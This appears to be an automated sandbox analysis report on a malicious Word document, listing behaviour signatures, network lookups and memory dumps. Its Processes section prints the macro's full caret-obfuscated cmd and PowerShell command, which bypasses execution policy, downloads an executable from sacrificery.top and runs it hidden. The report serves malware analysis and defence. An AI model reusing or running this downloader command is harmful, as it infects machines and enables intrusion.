Analysis Overview
SHA256
bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
Threat Level: Known bad
The file bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-27 14:23
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-27 14:23
Reported
2024-03-27 14:23
Platform
win10v2004-20240226-en
Max time kernel
30s
Max time network
35s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4064 wrote to memory of 4592 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4064 wrote to memory of 4592 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4592 wrote to memory of 3020 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4592 wrote to memory of 3020 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')
Network
| Country | Destination | Domain | Proto |
| US | 138.91.171.81:80 | tcp | |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | sacrificery.top | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.71.105.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.5.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.110.54.20.in-addr.arpa | udp |
Files
memory/4064-0-0x00007FFC29450000-0x00007FFC29460000-memory.dmp
memory/4064-1-0x00007FFC29450000-0x00007FFC29460000-memory.dmp
memory/4064-2-0x00007FFC29450000-0x00007FFC29460000-memory.dmp
memory/4064-3-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-5-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-4-0x00007FFC29450000-0x00007FFC29460000-memory.dmp
memory/4064-6-0x00007FFC29450000-0x00007FFC29460000-memory.dmp
memory/4064-7-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-8-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-9-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-10-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-11-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-12-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-13-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp
memory/4064-14-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-15-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-16-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-19-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp
memory/4064-18-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-17-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-20-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-21-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-22-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-30-0x0000018DB0880000-0x0000018DB1080000-memory.dmp
memory/4064-31-0x0000018DB0880000-0x0000018DB1080000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30wxasno.vz2.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3020-42-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp
memory/3020-41-0x0000013ACFD50000-0x0000013ACFD72000-memory.dmp
memory/3020-43-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp
memory/3020-44-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp
memory/3020-47-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp
memory/4064-60-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-61-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-62-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-63-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp
memory/4064-64-0x0000018DB0880000-0x0000018DB1080000-memory.dmp
memory/4064-65-0x0000018DB0880000-0x0000018DB1080000-memory.dmp